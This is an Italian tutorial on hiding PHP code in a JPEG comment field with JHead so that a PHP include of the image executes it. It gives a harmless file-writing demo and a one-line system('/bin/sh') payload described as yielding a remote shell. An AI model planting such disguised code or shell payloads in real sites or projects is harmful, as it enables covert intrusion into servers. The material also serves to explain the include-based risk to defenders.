

Mascherare script PHP in un'immagine JPEG

DISCLAIMER: L'autore non è responsabile di eventuali usi errati e/o non legali del materiale contenuto all'interno di questo tutorial.

Molti di voi sapranno che le immagini JPEG possono contenere dei commenti al loro interno. Se ad esempio l'immagine è stata scattata da una fotocamera digitale, conterrà informazioni sul modello della fotocamera usata, se è stata creata con un software di fotoritocco come GIMP o PhotoShop conterrà invece informazioni sul programma usato. È possibile visualizzare i commenti negli header delle immagini o anche modificarli con un piccolo software come JHead, scaricabile a questo indirizzo: <http://www.sentex.net/~mwandel/jhead/>

Ad esempio, ecco cosa succede se voglio vedere che commenti ci sono in un'immagine che ho scattato con la mia fotocamera digitale:

```
blacklight@nightmare:~/immagini$ jhead IM000981.JPG
File name      : IM000981.JPG
File size      : 71680 bytes
File date      : 2006:12:09 16:06:03
Camera make    : Hewlett-Packard
Camera model   : hp PhotoSmart 43x series
Date/Time     : 2006:12:08 16:24:38
Resolution    : 640 x 480
Flash used     : No (auto)
Focal length  : 5.7mm
Exposure time : 0.023 s (1/44)
Aperture      : f/8.0
Focus dist.   : 1.00m
ISO equiv.    : 100
```

E se invece voglio controllare i commenti che ci sono in un'immagine creata con GIMP:

```
blacklight@nightmare:~/immagini$ jhead 52885.jpg
File name      : 52885-bow_before_me.jpg
File size      : 640553 bytes
File date      : 2007:02:07 19:53:18
Resolution    : 1244 x 803
Comment       : Created with The GIMP
```

Ma i commenti si possono benissimo anche editare con il comando `jhead -ce ...`

Ragioniamo un attimo...sappiamo che la direttiva `include` del PHP prende il file specificato ed esegue tutto ciò che è compreso tra i tag `<? e ?>`, o `<?php e ?>`, senza badare molto all'estensione del file stesso. Quindi possiamo anche inserire nel commento dell'immagine uno script PHP, e poi richiamare da un altro script PHP l'immagine attraverso la direttiva `include`...facciamo un piccolo esempio usando JHead:

```
blacklight@nightmare:~/immagini$ jhead -ce 52885.jpg
```

Verrà fuori un'interfaccia molto simile a quella di VIM in cui possiamo modificare il commento dell'immagine. Scriviamo una cosa del genere:

```
<?php
    $fp=fopen("prova.txt","w+");
    fputs($fp,"Sono un file di prova");
    fclose($fp);
?>
```

E adesso creiamo un nuovo file in PHP, apparentemente innocuo, che non fa altro che includere l'immagine sopra modificata:

```
# test.php
```

```
<?php
include('52885.jpg');
?>
```

Quando andiamo ad eseguirlo, questo script esegue esattamente quello che c'è nella nostra immagine salvata:

```
blacklight@nightmare:~/immagini$ php test.php
...
blacklight@nightmare:~/immagini$ cat prova.txt
Sono un file di prova
```

Questo è uno script abbastanza semplice. Ma potevamo benissimo mettere all'interno della nostra immagine un commento del tipo:

```
<?php
system("/bin/sh");
?>
```

in modo da ottenere una shell remota...

Questo tipo di vulnerabilità sono molto difficili da scovare e da evitare, in quanto a pochi potrebbe venire in mente di avere uno script PHP malevolo proprio in quella bella immagine JPEG salvata sul sito...